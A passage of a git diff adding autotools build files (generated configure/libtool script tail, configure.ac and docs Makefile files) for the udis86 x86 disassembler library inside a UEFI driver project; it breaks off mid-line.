"$dirpart/$file" + done + done +} + ;; + "libtool":C) + + # See if we are running on zsh, and set the options which allow our + # commands through without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + + cfgfile="${ofile}T" + trap "$RM \"$cfgfile\"; exit 1" 1 2 15 + $RM "$cfgfile" + + cat <<_LT_EOF >> "$cfgfile" +#! $SHELL + +# `$ECHO "$ofile" | sed 's%^.*/%%'` - Provide generalized library-building support services. +# Generated automatically by $as_me ($PACKAGE$TIMESTAMP) $VERSION +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: +# NOTE: Changes made to this file will be lost: look at ltmain.sh. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, +# 2006, 2007, 2008, 2009, 2010, 2011 Free Software +# Foundation, Inc. +# Written by Gordon Matzigkeit, 1996 +# +# This file is part of GNU Libtool. +# +# GNU Libtool is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 2 of +# the License, or (at your option) any later version. +# +# As a special exception to the GNU General Public License, +# if you distribute this file as part of a program or library that +# is built using GNU Libtool, you may include this file under the +# same distribution terms that you use for the rest of that program. +# +# GNU Libtool is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with GNU Libtool; see the file COPYING. If not, a copy +# can be downloaded from http://www.gnu.org/licenses/gpl.html, or +# obtained by writing to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + + +# The names of the tagged configurations supported by this script. +available_tags="" + +# ### BEGIN LIBTOOL CONFIG + +# Assembler program. +AS=$lt_AS + +# DLL creation program. +DLLTOOL=$lt_DLLTOOL + +# Object dumper program. +OBJDUMP=$lt_OBJDUMP + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Which release of libtool.m4 was used? +macro_version=$macro_version +macro_revision=$macro_revision + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# What type of objects to build. +pic_mode=$pic_mode + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# An echo program that protects backslashes. +ECHO=$lt_ECHO + +# The PATH separator for the build system. +PATH_SEPARATOR=$lt_PATH_SEPARATOR + +# The host system. +host_alias=$host_alias +host=$host +host_os=$host_os + +# The build system. +build_alias=$build_alias +build=$build +build_os=$build_os + +# A sed program that does not truncate output. +SED=$lt_SED + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="\$SED -e 1s/^X//" + +# A grep program that handles long lines. +GREP=$lt_GREP + +# An ERE matcher. +EGREP=$lt_EGREP + +# A literal string matcher. +FGREP=$lt_FGREP + +# A BSD- or MS-compatible name lister. +NM=$lt_NM + +# Whether we need soft or hard links. +LN_S=$lt_LN_S + +# What is the maximum length of a command? +max_cmd_len=$max_cmd_len + +# Object file suffix (normally "o"). +objext=$ac_objext + +# Executable file suffix (normally ""). +exeext=$exeext + +# whether the shell understands "unset". +lt_unset=$lt_unset + +# turn spaces into newlines. +SP2NL=$lt_lt_SP2NL + +# turn newlines into spaces. +NL2SP=$lt_lt_NL2SP + +# convert \$build file names to \$host format. +to_host_file_cmd=$lt_cv_to_host_file_cmd + +# convert \$build files to toolchain format. +to_tool_file_cmd=$lt_cv_to_tool_file_cmd + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method = "file_magic". +file_magic_cmd=$lt_file_magic_cmd + +# How to find potential files when deplibs_check_method = "file_magic". +file_magic_glob=$lt_file_magic_glob + +# Find potential files using nocaseglob when deplibs_check_method = "file_magic". +want_nocaseglob=$lt_want_nocaseglob + +# Command to associate shared and link libraries. +sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd + +# The archiver. +AR=$lt_AR + +# Flags to create an archive. +AR_FLAGS=$lt_AR_FLAGS + +# How to feed a file listing to the archiver. +archiver_list_spec=$lt_archiver_list_spec + +# A symbol stripping program. +STRIP=$lt_STRIP + +# Commands used to install an old-style archive. +RANLIB=$lt_RANLIB +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Whether to use a lock for old archive extraction. +lock_old_archive_extraction=$lock_old_archive_extraction + +# A C compiler. +LTCC=$lt_CC + +# LTCC compiler flags. +LTCFLAGS=$lt_CFLAGS + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration. +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair. +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# Transform the output of nm in a C name address pair when lib prefix is needed. +global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix + +# Specify filename containing input files for \$NM. +nm_file_list_spec=$lt_nm_file_list_spec + +# The root where to search for dependent libraries,and in which our libraries should be installed. +lt_sysroot=$lt_sysroot + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# Used to examine libraries when file_magic_cmd begins with "file". +MAGIC_CMD=$MAGIC_CMD + +# Must we lock files when doing compilation? +need_locks=$lt_need_locks + +# Manifest tool. +MANIFEST_TOOL=$lt_MANIFEST_TOOL + +# Tool to manipulate archived DWARF debug symbol files on Mac OS X. +DSYMUTIL=$lt_DSYMUTIL + +# Tool to change global to local symbols on Mac OS X. +NMEDIT=$lt_NMEDIT + +# Tool to manipulate fat objects and archives on Mac OS X. +LIPO=$lt_LIPO + +# ldd/readelf like tool for Mach-O binaries on Mac OS X. +OTOOL=$lt_OTOOL + +# ldd/readelf like tool for 64 bit Mach-O binaries on Mac OS X 10.4. +OTOOL64=$lt_OTOOL64 + +# Old archive suffix (normally "a"). +libext=$libext + +# Shared library suffix (normally ".so"). +shrext_cmds=$lt_shrext_cmds + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at link time. +variables_saved_for_relink=$lt_variables_saved_for_relink + +# Do we need the "lib" prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Library versioning type. +version_type=$version_type + +# Shared library runtime path variable. +runpath_var=$runpath_var + +# Shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Permission mode override for installation of shared libraries. +install_override_mode=$lt_install_override_mode + +# Command to use after installation of a shared archive. +postinstall_cmds=$lt_postinstall_cmds + +# Command to use after uninstallation of a shared archive. +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# As "finish_cmds", except a single script fragment to be evaled but +# not shown. +finish_eval=$lt_finish_eval + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Compile-time system search path for libraries. +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries. +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + + +# The linker used to build libraries. +LD=$lt_LD + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# Commands used to build an old-style archive. +old_archive_cmds=$lt_old_archive_cmds + +# A language specific compiler. +CC=$lt_compiler + +# Is the compiler the GNU compiler? +with_gcc=$GCC + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc + +# Whether or not to disallow shared libs when runtime libs are static. +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec + +# Whether the compiler copes with passing no objects directly. +compiler_needs_object=$lt_compiler_needs_object + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds + +# Commands used to build a shared archive. +archive_cmds=$lt_archive_cmds +archive_expsym_cmds=$lt_archive_expsym_cmds + +# Commands used to build a loadable module if different from building +# a shared archive. +module_cmds=$lt_module_cmds +module_expsym_cmds=$lt_module_expsym_cmds + +# Whether we are building with GNU ld or not. +with_gnu_ld=$lt_with_gnu_ld + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag + +# Flag that enforces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec + +# Whether we need a single "-rpath" flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator + +# Set to "yes" if using DIR/libNAME\${shared_ext} during linking hardcodes +# DIR into the resulting binary. +hardcode_direct=$hardcode_direct + +# Set to "yes" if using DIR/libNAME\${shared_ext} during linking hardcodes +# DIR into the resulting binary and the resulting library dependency is +# "absolute",i.e impossible to change by setting \${shlibpath_var} if the +# library is relocated. +hardcode_direct_absolute=$hardcode_direct_absolute + +# Set to "yes" if using the -LDIR flag during linking hardcodes DIR +# into the resulting binary. +hardcode_minus_L=$hardcode_minus_L + +# Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR +# into the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var + +# Set to "yes" if building a shared library automatically hardcodes DIR +# into the library and all subsequent libraries and executables linked +# against it. +hardcode_automatic=$hardcode_automatic + +# Set to yes if linker adds runtime paths of dependent libraries +# to runtime path list. +inherit_rpath=$inherit_rpath + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs + +# Set to "yes" if exported symbols are required. +always_export_symbols=$always_export_symbols + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms + +# Commands necessary for linking programs (against libraries) with templates. +prelink_cmds=$lt_prelink_cmds + +# Commands necessary for finishing linking programs. +postlink_cmds=$lt_postlink_cmds + +# Specify filename containing input files. +file_list_spec=$lt_file_list_spec + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action + +# ### END LIBTOOL CONFIG + +_LT_EOF + + case $host_os in + aix3*) + cat <<\_LT_EOF >> "$cfgfile" +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +_LT_EOF + ;; + esac + + +ltmain="$ac_aux_dir/ltmain.sh" + + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + sed '$q' "$ltmain" >> "$cfgfile" \ + || (rm -f "$cfgfile"; exit 1) + + if test x"$xsi_shell" = xyes; then + sed -e '/^func_dirname ()$/,/^} # func_dirname /c\ +func_dirname ()\ +{\ +\ case ${1} in\ +\ */*) func_dirname_result="${1%/*}${2}" ;;\ +\ * ) func_dirname_result="${3}" ;;\ +\ esac\ +} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_basename ()$/,/^} # func_basename /c\ +func_basename ()\ +{\ +\ func_basename_result="${1##*/}"\ +} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\ +func_dirname_and_basename ()\ +{\ +\ case ${1} in\ +\ */*) func_dirname_result="${1%/*}${2}" ;;\ +\ * ) func_dirname_result="${3}" ;;\ +\ esac\ +\ func_basename_result="${1##*/}"\ +} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_stripname ()$/,/^} # func_stripname /c\ +func_stripname ()\ +{\ +\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\ +\ # positional parameters, so assign one to ordinary parameter first.\ +\ func_stripname_result=${3}\ +\ func_stripname_result=${func_stripname_result#"${1}"}\ +\ func_stripname_result=${func_stripname_result%"${2}"}\ +} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\ +func_split_long_opt ()\ +{\ +\ func_split_long_opt_name=${1%%=*}\ +\ func_split_long_opt_arg=${1#*=}\ +} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\ +func_split_short_opt ()\ +{\ +\ func_split_short_opt_arg=${1#??}\ +\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\ +} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\ +func_lo2o ()\ +{\ +\ case ${1} in\ +\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\ +\ *) func_lo2o_result=${1} ;;\ +\ esac\ +} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_xform ()$/,/^} # func_xform /c\ +func_xform ()\ +{\ + func_xform_result=${1%.*}.lo\ +} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_arith ()$/,/^} # func_arith /c\ +func_arith ()\ +{\ + func_arith_result=$(( $* ))\ +} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_len ()$/,/^} # func_len /c\ +func_len ()\ +{\ + func_len_result=${#1}\ +} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + +fi + +if test x"$lt_shell_append" = xyes; then + sed -e '/^func_append ()$/,/^} # func_append /c\ +func_append ()\ +{\ + eval "${1}+=\\${2}"\ +} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\ +func_append_quoted ()\ +{\ +\ func_quote_for_eval "${2}"\ +\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\ +} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") +test 0 -eq $? || _lt_function_replace_fail=: + + + # Save a `func_append' function call where possible by direct use of '+=' + sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") + test 0 -eq $? || _lt_function_replace_fail=: +else + # Save a `func_append' function call even when '+=' is not available + sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \ + && mv -f "$cfgfile.tmp" "$cfgfile" \ + || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp") + test 0 -eq $? || _lt_function_replace_fail=: +fi + +if test x"$_lt_function_replace_fail" = x":"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5 +$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;} +fi + + + mv -f "$cfgfile" "$ofile" || + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" + + ;; + + esac +done # for ac_tag + + +as_fn_exit 0 +_ACEOF +ac_clean_files=$ac_clean_files_save + +test $ac_write_fail = 0 || + as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5 + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || as_fn_exit 1 +fi +if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 +$as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} +fi + diff --git a/UefiDriver/udis86/configure.ac b/UefiDriver/udis86/configure.ac new file mode 100644 index 0000000..9cdadf2 --- /dev/null +++ b/UefiDriver/udis86/configure.ac @@ -0,0 +1,83 @@ +# +# udis86 autoconf +# +AC_PREREQ(2.59) +AC_INIT([udis86], [1.7.2], [vivek.mt@gmail.com]) +AC_CONFIG_HEADERS(config.h) +AC_CONFIG_AUX_DIR(build) +AC_CONFIG_MACRO_DIR([build/m4]) + +m4_include([m4/ax_compare_version.m4]) +m4_include([m4/ax_prog_sphinx_version.m4]) +m4_include([m4/ax_prog_yasm_version.m4]) +m4_include([m4/ax_with_prog.m4]) +m4_include([m4/ax_with_python.m4]) + +# Make sure $ACLOCAL_FLAGS are used during a rebuild. +AC_SUBST([ACLOCAL_AMFLAGS], ["-I $ac_macro_dir \${ACLOCAL_FLAGS}"]) + +# +# Determine the build host; we notify automake of Windows +# builds, so it can pass proper parameters for building +# DLLs to the linker. +# +AC_CANONICAL_HOST + +case "$host_os" in + mingw32* ) + TARGET_OS=windows + AC_LIBTOOL_WIN32_DLL + ;; +esac + +# Initialize the automake subsystem. +AM_INIT_AUTOMAKE([1.11 -Wall -Wno-portability -Wno-extra-portability -Werror foreign]) + +# +# In case we have a Windows build, we pass a +# TARGET_WINDOWS conditional to automake. +# +AM_CONDITIONAL(TARGET_WINDOWS, test "$TARGET_OS" = windows) + +AC_PROG_CC +AC_DISABLE_SHARED +AC_PROG_LIBTOOL +AC_ENABLE_SHARED +AM_PROG_CC_C_O + +# If this is a gnu compiler, pass -Wall +if test "$ac_cv_c_compiler_gnu" = "yes"; then + CFLAGS="$CFLAGS -Wall" +fi + +# Look for python +AX_WITH_PYTHON +if test "x$PYTHON" = "x"; then + AC_MSG_ERROR( [Python not found. Use --with-python to specify path to python binary] ) +fi + +# Yasm (>= 1.2.0) for testing +AX_WITH_PROG(YASM,yasm) +AX_PROG_YASM_VERSION([1.2.0],[ac_have_yasm_version=1],[]) +AM_CONDITIONAL(HAVE_YASM, [test -n "$ac_have_yasm_version"]) + +# Sphinx (>= 1.1.3) for documentation +AX_WITH_PROG(SPHINX_BUILD,sphinx-build) +AX_PROG_SPHINX([1.1.3],[ac_have_sphinx_version=1],[]) +AM_CONDITIONAL(HAVE_SPHINX_DOC, [test -n "$ac_have_sphinx_version"]) + +AC_CHECK_HEADERS([assert.h stdio.h]) + +AC_CONFIG_FILES([ + Makefile + scripts/Makefile + libudis86/Makefile + udcli/Makefile + tests/Makefile + docs/Makefile + docs/manual/Makefile + docs/x86/Makefile + tests/difftest.sh +]) + +AC_OUTPUT diff --git a/UefiDriver/udis86/docs/Makefile.am b/UefiDriver/udis86/docs/Makefile.am new file mode 100644 index 0000000..7d8b0da --- /dev/null +++ b/UefiDriver/udis86/docs/Makefile.am @@ -0,0 +1,2 @@ +SUBDIRS = x86 manual +MAINTAINERCLEANFILES = Makefile.in diff --git a/UefiDriver/udis86/docs/Makefile.in b/UefiDriver/udis86/docs/Makefile.in new file mode 100644 index 0000000..c47e548 --- /dev/null +++ b/UefiDriver/udis86/docs/Makefile.in @@ -0,0 +1,590 @@ +# Makefile.in generated by automake 1.13.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2012 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ +VPATH = @srcdir@ +am__make_dryrun = \ + { \ + am__dry=no; \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ + | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ + *) \ + for am__flg in $$MAKEFLAGS; do \ + case $$am__flg in \ + *=*|--*) ;; \ + *n*) am__dry=yes; break;; \ + esac; \ + done;; \ + esac; \ + test $$am__dry = yes; \ + } +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +subdir = docs +DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/build/m4/libtool.m4 \ + $(top_srcdir)/build/m4/ltoptions.m4 \ + $(top_srcdir)/build/m4/ltsugar.m4 \ + $(top_srcdir)/build/m4/ltversion.m4 \ + $(top_srcdir)/build/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/ax_compare_version.m4 \ + $(top_srcdir)/m4/ax_prog_sphinx_version.m4 \ + $(top_srcdir)/m4/ax_prog_yasm_version.m4 \ + $(top_srcdir)/m4/ax_with_prog.m4 \ + $(top_srcdir)/m4/ax_with_python.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +SOURCES = +DIST_SOURCES = +RECURSIVE_TARGETS = all-recursive check-recursive cscopelist-recursive \ + ctags-recursive dvi-recursive html-recursive info-recursive \ + install-data-recursive install-dvi-recursive \ + install-exec-recursive install-html-recursive \ + install-info-recursive install-pdf-recursive \ + install-ps-recursive install-recursive installcheck-recursive \ + installdirs-recursive pdf-recursive ps-recursive \ + tags-recursive uninstall-recursive +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ + distclean-recursive maintainer-clean-recursive +am__recursive_targets = \ + $(RECURSIVE_TARGETS) \ + $(RECURSIVE_CLEAN_TARGETS) \ + $(am__extra_recursive_targets) +AM_RECURSIVE_TARGETS = $(am__recursive_targets:-recursive=) TAGS CTAGS \ + distdir +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +# Read a list of newline-separated strings from the standard input, +# and print each of them once, without duplicates. Input order is +# *not* preserved. +am__uniquify_input = $(AWK) '\ + BEGIN { nonempty = 0; } \ + { items[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in items) print i; }; } \ +' +# Make sure the list of sources is unique. This is necessary because, +# e.g., the same source file might be shared among _SOURCES variables +# for different programs/libraries. +am__define_uniq_tagged_files = \ + list='$(am__tagged_files)'; \ + unique=`for i in $$list; do \ + if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ + done | $(am__uniquify_input)` +ETAGS = etags +CTAGS = ctags +DIST_SUBDIRS = $(SUBDIRS) +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +am__relativize = \ + dir0=`pwd`; \ + sed_first='s,^\([^/]*\)/.*$$,\1,'; \ + sed_rest='s,^[^/]*/*,,'; \ + sed_last='s,^.*/\([^/]*\)$$,\1,'; \ + sed_butlast='s,/*[^/]*$$,,'; \ + while test -n "$$dir1"; do \ + first=`echo "$$dir1" | sed -e "$$sed_first"`; \ + if test "$$first" != "."; then \ + if test "$$first" = ".."; then \ + dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ + dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ + else \ + first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ + if test "$$first2" = "$$first"; then \ + dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ + else \ + dir2="../$$dir2"; \ + fi; \ + dir0="$$dir0"/"$$first"; \ + fi; \ + fi; \ + dir1=`echo 